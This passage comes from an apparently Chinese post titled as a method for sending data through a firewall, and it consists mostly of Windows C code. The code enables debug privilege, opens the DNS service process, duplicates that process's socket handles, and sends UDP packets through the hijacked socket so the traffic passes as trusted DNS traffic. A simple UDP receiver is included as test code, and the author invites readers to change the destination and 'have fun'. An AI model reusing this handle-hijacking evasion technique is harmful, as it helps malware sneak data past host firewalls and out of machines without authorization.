穿透防火墙的数据传输方法

// So I jump over this situation...
// May be it's different in your system,
) //wind2000 is 0x1a
{
//printf("Handle:0x%x Type:x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
if( 0 == DuplicateHandle(
OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
(HANDLE)h_info[i].Handle,
GetCurrentProcess(),
&sock,
STANDARD_RIGHTS_REQUIRED,
true,
DUPLICATE_SAME_ACCESS)
)
{
printf("DuplicateHandle wrong:%8x", GetLastError());
continue;
}

//printf("DuplicateHandle ok\n");
sockaddr_in name = {0};
name.sin_family = AF_INET;
int namelen = sizeof(sockaddr_in);
getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
//printf("PORT=]\n", ntohs( name.sin_port ));
if(ntohs(name.sin_port)>0) // if port > 0, then we can use it
break;
}
}
catch(...)
{
continue;
}
}

if ( buf != NULL )
{
free( buf );
}
return (SOCKET)sock;
}


/*
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;

TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);

priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);

AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);

rv = GetLastError () == ERROR_SUCCESS;

CloseHandle (hToken);
return rv;
}

void main()
{
WSADATA wsaData;
char testbuf[255];
SOCKET sock;
sockaddr_in RecvAddr;

int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != NO_ERROR)
printf("Error at WSAStartup()\n");

if(!LocateNtdllEntry())
return;

if(!EnablePrivilege (SE_DEBUG_NAME))
{
printf("EnablePrivilege wrong\n");
return;
}

sock = GetSocketFromId(GetDNSProcessId());
if( sock==NULL)
{
printf("GetSocketFromId wrong\n");
return;
}

//Change there value...
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(5555);
RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

if(SOCKET_ERROR == sendto(sock,
"test",
5,
0,
(SOCKADDR *) &RecvAddr,
sizeof(RecvAddr)))
{
printf("sendto wrong:%d\n", WSAGetLastError());
}
else
{
printf("send ok... Have fun, right? ^_^\n");
}

getchar();

//WSACleanup();
return;
}




测试代码部分：


/*
UdpReceiver
--*/
#include <stdio.h>
#include "winsock2.h"

#pragma comment(lib, "ws2_32")

void main()
{
WSADATA wsaData;
SOCKET RecvSocket;
sockaddr_in RecvAddr;
int Port = 5555;
char RecvBuf[1024];
int BufLen = 1024;
sockaddr_in SenderAddr;
int SenderAddrSize = sizeof(SenderAddr);

//-----------------------------------------------
// Initialize Winsock
WSAStartup(MAKEWORD(2,2), &wsaData);

//-----------------------------------------------
// Create a receiver socket to receive datagrams
RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

//-----------------------------------------------
// Bind the socket to any address and the specified port.
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(Port);
RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);

bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));

//-----------------------------------------------
// Call the recvfrom function to receive datagrams
// on the bound socket.
printf("Receiving datagrams...\n");
while(1)
{
recvfrom(RecvSocket,
RecvBuf,
BufLen,
0,
(SOCKADDR *)&SenderAddr,
&SenderAddrSize);
printf("%s\n", RecvBuf);
}

//-----------------------------------------------
// Close the socket when finished receiving datagrams
printf("Finished receiving. Closing socket.\n");

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